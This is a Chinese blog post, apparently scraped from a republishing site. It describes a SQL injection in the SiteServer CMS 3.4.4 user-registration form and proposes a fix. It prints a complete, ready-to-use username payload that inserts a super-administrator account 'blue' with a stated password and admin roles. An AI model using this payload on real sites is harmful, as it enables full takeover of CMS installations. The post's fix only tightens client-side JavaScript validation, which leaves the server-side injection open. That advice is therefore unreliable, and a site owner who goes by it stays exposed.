当前位置: 首页 > news >正文

SiteServer 3.4.4 逻辑漏洞导致SQL注入及修复方法

今天特别发现SiteServe CMS( 3.4.4 )网站根目录多了一个asp文件,我就意识网站可以被挂马了!马上排查,终于在后台发现多了一个blue用户名的超级管理员。我猜想可能是SiteServe CMS系统有漏洞,上网一查,果然把到一堆“SiteServer 3.4.4 逻辑漏洞导致SQL注入”的文章。

---------------------------------------------------------------------------------------------------------------------------------------
SiteServer 3.4.4 逻辑漏洞导致SQL注入具体如下: 

问题出在UserCenter.Pages.DLL中的Register,注册流程逻辑有问题,具体如下:

 

1.程序先把用户名带入数据库中查询,如果用户名没有重复,进入第二步;

 

2.再在远程检测用户名中是否含有非法字符,如果没有,则进入第三步;

 

3.将新注册的用户插入数据库。 

由于在进行第一步的时候,程序没有进行任何处理就带入数据库中查询,那么就可以xxoo了。Orz。。。。

 

用户名填入以下语句,其他地方正常填写。

123');insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values('blue','VffSUZcBPo4=','Encrypted','i7jq4LwC25wKDoqHErBWaw==');insert into bairong_AdministratorsInRoles values('Administrator','blue');insert into bairong_AdministratorsInRoles values('RegisteredUser','blue');insert into bairong_AdministratorsInRoles values('ConsoleAdministrator','blue');--

提交注册之后就往库里面插入了一个用户名为:blue 密码为:lanhai 的超级用户。
-------------------------------------------------------------------------------------------------------------------------------------
估计我后台的blue管理员就是这样来的。
我想主要是Js验证太简单了,改一下验证的Js文件就好了。

具体修复方法如下:

打开根目录下的UserCenter\js\signup_check2_data.js文件,把checkUserName函数改成:

checkUserName = function(value)
{
 var r1= new RegExp('[^A-Za-z0-9_-]',''); 

 $("username_msg").style.display = "none";
 $("usernamevalid_msg_succ").style.display = "none";
 $("usernamevalid_msg_error").style.display = "none";
 
 value = $('UserName').value;
 
 if ( !value || value.length == 0 )
 {
  $("username_msg").innerHTML = "用户名不能为空";
  $("username_msg").style.display = "";
  return false;
 }
 
 if ( value.length < 2 )
 {
  $("username_msg").innerHTML = '用户名长度不能小于2个字符';
  $("username_msg").style.display = "";
  return false;
 }
 else if( value.length > 18 )
 {
  $("username_msg").innerHTML = '用户名长度不大于18个字符';
  $("username_msg").style.display = "";
  return false;
 }
 else if( value.search(r1) >= 0)
 {
  $("username_msg").innerHTML = '用户名中含有非法字!';
  $("username_msg").style.display = "";
  return false;
 } 

 return true;
}

这样就可以限制用户名的长度,还有非法的字符!

就这样,这个漏洞就可以修复了。
当然果然你有更好的方法,可以拿出来分享一下!

相关文章:

  • 详述SSL和TLS的Web安全渗透测试
  • 无需破解!激活正版Windows 7旗舰版 二枚神KEY
  • 渗透测试(Penetration Testing)
  • ASP.NET Padding Oracle Vulnerablitity
  • Nikto使用方法
  • Serv-U FTP Jail Break(越权遍历目录、下载任意文件)
  • 如何判段删掉,恢复 xp_cmdshell
  • linux不提权跨目录访问的代码
  • sql 2005 sa权限提权
  • fckeditor上传.变_突破
  • 内网渗透一些命令收集整理
  • rsync命令实现:多服务器镜像同步
  • 浅谈如何进行网络安全评估
  • phpMyAdmin phpmyadmin.css.php完全路径泄露漏洞
  • 利用XSS Shell进行XSS测试
  • css的样式优先级
  • ES6 学习笔记(一)let,const和解构赋值
  • iOS高仿微信项目、阴影圆角渐变色效果、卡片动画、波浪动画、路由框架等源码...
  • JavaScript 基本功--面试宝典
  • JavaScript-Array类型
  • JavaScript设计模式系列一:工厂模式
  • jdbc就是这么简单
  • js面向对象
  • Linux Process Manage
  • mysql中InnoDB引擎中页的概念
  • Nginx 通过 Lua + Redis 实现动态封禁 IP
  • React as a UI Runtime(五、列表)
  • Redis学习笔记 - pipline(流水线、管道)
  • Spring Cloud Alibaba迁移指南(一):一行代码从 Hystrix 迁移到 Sentinel
  • Sublime Text 2/3 绑定Eclipse快捷键
  • Sublime text 3 3103 注册码
  • 复杂数据处理
  • 观察者模式实现非直接耦合
  • 基于axios的vue插件,让http请求更简单
  • 设计模式 开闭原则
  • 深度学习中的信息论知识详解
  • 怎样选择前端框架
  • 职业生涯 一个六年开发经验的女程序员的心声。
  • 数据库巡检项
  • ​【原创】基于SSM的酒店预约管理系统(酒店管理系统毕业设计)
  • #单片机(TB6600驱动42步进电机)
  • (11)MATLAB PCA+SVM 人脸识别
  • (2020)Java后端开发----(面试题和笔试题)
  • (二)pulsar安装在独立的docker中,python测试
  • (附源码)springboot炼糖厂地磅全自动控制系统 毕业设计 341357
  • (三维重建学习)已有位姿放入colmap和3D Gaussian Splatting训练
  • (一)Java算法:二分查找
  • (原創) X61用戶,小心你的上蓋!! (NB) (ThinkPad) (X61)
  • (转)IOS中获取各种文件的目录路径的方法
  • (转)linux自定义开机启动服务和chkconfig使用方法
  • (转)我也是一只IT小小鸟
  • (转载)PyTorch代码规范最佳实践和样式指南
  • * 论文笔记 【Wide Deep Learning for Recommender Systems】
  • *p++,*(p++),*++p,(*p)++区别?
  • .aanva